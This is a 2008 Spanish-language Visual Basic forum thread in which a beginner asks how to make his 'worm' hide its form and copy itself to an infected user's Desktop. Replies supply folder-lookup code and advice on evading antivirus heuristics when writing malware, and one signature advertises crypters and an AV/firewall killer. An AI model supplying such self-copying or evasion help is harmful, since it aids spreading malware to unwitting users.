COPIAR ARCHIVOS AL ESRITORIO

Iniciado por hAcKeR92, 2 Febrero 2008, 00:46 AM

0 Miembros y 3 Visitantes están viendo este tema.

hAcKeR92

Hola, muy buenas, soy nuevo en el mundillo del VB y estoy empezando buscando codigos en google, en este foro, etc.. Y vi una web muy buena (en ingles) donde aparece un codigo de un gusano que me ayudo mucho a entender el Visual Basic 6.0, pero lo que ví muy irreal es el hecho de poner "C:\loquesea" para las copias, ya que si el infectado no tiene el systemdrie en C y lo tiene en D por ejemplo no funcionaría...

Por eso necesito que me pongais mi codigo (abajo) igual pero cambiando la linea de FileCopy para que en vez de copiarse el archivo con el nombre Prueba1.exe en C:\ se copie en el escritorio. Un saludo y GRACIAS por adelantado!!

Private Form Sub_Load()
Me.hide
Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\Prueba1.Exe"
End Sub

Freeze.

Según entiendo--- Usa la funcion Environ ;)

hAcKeR92


Tughack

Cita de: ►Freeze en  2 Febrero 2008, 00:52 AM
Según entiendo--- Usa la funcion Environ ;)

No se puede con el Environ xD

Aki el ejemplo de API-Guide:

Const CSIDL_DESKTOP = &H0
Const CSIDL_PROGRAMS = &H2
Const CSIDL_CONTROLS = &H3
Const CSIDL_PRINTERS = &H4
Const CSIDL_PERSONAL = &H5
Const CSIDL_FAVORITES = &H6
Const CSIDL_STARTUP = &H7
Const CSIDL_RECENT = &H8
Const CSIDL_SENDTO = &H9
Const CSIDL_BITBUCKET = &HA
Const CSIDL_STARTMENU = &HB
Const CSIDL_DESKTOPDIRECTORY = &H10
Const CSIDL_DRIVES = &H11
Const CSIDL_NETWORK = &H12
Const CSIDL_NETHOOD = &H13
Const CSIDL_FONTS = &H14
Const CSIDL_TEMPLATES = &H15
Const MAX_PATH = 260
Private Type SHITEMID
    cb As Long
    abID As Byte
End Type
Private Type ITEMIDLIST
    mkid As SHITEMID
End Type
Private Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hWnd As Long, ByVal szApp As String, ByVal szOtherStuff As String, ByVal hIcon As Long) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Sub Form_Load()
    'KPD-Team 1998
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    'Show an about window
    ShellAbout Me.hWnd, App.Title, "Created by the KPD-Team 1999", ByVal 0&
    'Set the graphical mode to persistent
    Me.AutoRedraw = True
    'Print the folders to the form
    Me.Print "Start menu folder: " + GetSpecialfolder(CSIDL_STARTMENU)
    Me.Print "Favorites folder: " + GetSpecialfolder(CSIDL_FAVORITES)
    Me.Print "Programs folder: " + GetSpecialfolder(CSIDL_PROGRAMS)
    Me.Print "Desktop folder: " + GetSpecialfolder(CSIDL_DESKTOP)
End Sub
Private Function GetSpecialfolder(CSIDL As Long) As String
    Dim r As Long
    Dim IDL As ITEMIDLIST
    'Get the special folder
    r = SHGetSpecialFolderLocation(100, CSIDL, IDL)
    If r = NOERROR Then
        'Create a buffer
        Path$ = Space$(512)
        'Get the path from the IDList
        r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
        'Remove the unnecessary chr$(0)'s
        GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
        Exit Function
    End If
    GetSpecialfolder = ""
End Function


Obvio k solo necesitas una pekena parte de ese codigo ^^

Saludos

hAcKeR92

Muchas gracias por tu esfuerzo!!
Pero, perdon por mi ignorancia, sigo sin entenderlo..
Lo he intentdo de mil maneras y nada... Ademas me da error en la parte del codigo que pone "if r = NOERROR" y en un poco más abajo que pone paths...
Si no te es mucho esfuerzo, me podrías poner unicamente el ejemplo para hacer lo que te pido??
Copiar el archivo al escritorio con el nuevo nombre de prueba1???

Mad Antrax

Código (vb) [Seleccionar]
Private Sub Form_Load()
    'AllUsersDesktop, AllUsersStartMenu
    'AllUsersPrograms, AllUsersStartup, Desktop, Favorites
    'Fonts, MyDocuments, NetHood, PrintHood, Programs, Recent
    'SendTo, StartMenu, Startup, Templates
    Dim WSh As Object
    Dim tempVar As String

    Set WSh = CreateObject("WScript.Shell")
    tempVar = WshShell.SpecialFolders("Desktop")
    MsgBox tempVar
End Sub


Es esto y nada más. Cambia el Desktop por alguna de las otras variables de arriba para obtener otras rutas interesantes. Para Obtener sólo la unidad de sistema:

Código (vb) [Seleccionar]
Private Sub Form_Load()
    Dim tempVar As String

    tempVar = Environ("HOMEDRIVE")
    MsgBox tempVar
End Sub


Aqui tienes otras variables para usar con Environ("")

CitarALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\user\Datos de programa
CommonProgramFiles=C:\Archivos de programa\Archivos comunes
COMPUTERNAME=PC-ANTRAX
ComSpec=C:\WINDOWS\system32\cmd.exe
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\user
LOGONSERVER=\\SERVER01
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 15 Model 47 Stepping 0, AuthenticAMD
PROCESSOR_LEVEL=15
PROCESSOR_REVISION=2f00
ProgramFiles=C:\Archivos de programa
PROMPT=$P$G
QTJAVA=C:\Archivos de programa\Java\jre1.6.0_03\lib\ext\QTJava.zip
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\user\CONFIG~1\Temp
TMP=C:\DOCUME~1\user\CONFIG~1\Temp
USERDOMAIN=WINWORLD
USERNAME=Usuario
USERPROFILE=C:\Documents and Settings\user
windir=C:\WINDOWS

Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

Tughack

No estoy de acuerdo Mad.

Primero, es mejor usar APIs k objectos.

Segundo, %HOMEDRIVE% no es el desktop...

Saludos

Mad Antrax

Cita de: Tughack en  2 Febrero 2008, 14:23 PM
No estoy de acuerdo Mad.

Primero, es mejor usar APIs k objectos.

Segundo, %HOMEDRIVE% no es el desktop...

Saludos

Bravoooo, ya llegó el listo! Es mejor usar Objetos para la programación de malware, las API's se quedan en el própio ejecutable y es más facil que un AV te detecte por heurística, vease: CreateRemoteThread, DownloadURLFileA, etc...

Ademas, con el Objeto FSO cargado podrá hacer otras funciones importantes como: CreateTextFile, DeleteFile, Run, RegRead, RegWrite, etc...




Si te ubieras molestado en leer mi mensaje, verías que el primer código te devuelve el Escritorio y el segundo la unidad de sistema a través de Environ (que es algo que tambien ha pedido el usuario:

Cita de: hAcKeR92 en  2 Febrero 2008, 00:46 AM
pero lo que ví muy irreal es el hecho de poner "C:\loquesea" para las copias, ya que si el infectado no tiene el systemdrie en C y lo tiene en D por ejemplo no funcionaría...

Lee antes de criticar tio, me pones de los nervios con tus contestaciones.
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

nhaalclkiemr

#8
Código (vb) [Seleccionar]

Dim resul As String
resul = Environ("homedrive") & Environ("homepath") & "\Escritorio"
If Not IsDir(resul) Then
    resul = Environ("homedrive") & Environ("homepath") & "\Desktop"
End If
Private Function IsDir(ByVal DirSpec As String) As Boolean  'Funcion que devuelve True si existe una carpeta y False si no existe
  On Error Resume Next
 
  IsDir = ((GetAttr(DirSpec) And vbDirectory) = vbDirectory)
End Function


Environ("homedrive") & Environ("homepath") devuelve C:\Documents And Settings\USUARIO

A partir de aí la carpeta Escritorio dependerá del idioma del SO...

El codigo ese es mas sencillo que los anteriores y funcionará en los SO con idiomas Español e Ingles...es decir en casi todos :xD ...pero si kieres más eficacia yo preferiría el de Tughack pork me gustan más las APIs...pero weno a tu gusto :xD

Corrijanme si me he equivocado...

Saludos ;)

EDIT: Es mejor usar APIs que objetos eso si k es verdad...los objetos son mucho mas lentos...en este caso aun da algo igual pero por ejemplo yo cuando diseñe un algoritmo de busquedas había mucha diferencia entre usar objetos o APIs...e incluso entre Objetos y las propias funciones del VB había mucha diferencia (minutos)...
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

Tughack

CitarHola, muy buenas, soy nuevo en el mundillo del VB

Mad, hAcKeR92 es un novato y la primera cosa k le das son objectos? Mejor en la creacion de malware? Vamos... Apis puedes llamarlas como kieras y hacrlas indetectables... Objectos son para script kiddies... De todas formas gusanos es cosa de script kiddies... enfin...

Y si, me he molestado en leer tu mensaje y se perfectamente k hace el codigo...

APIS RULE!

Saludos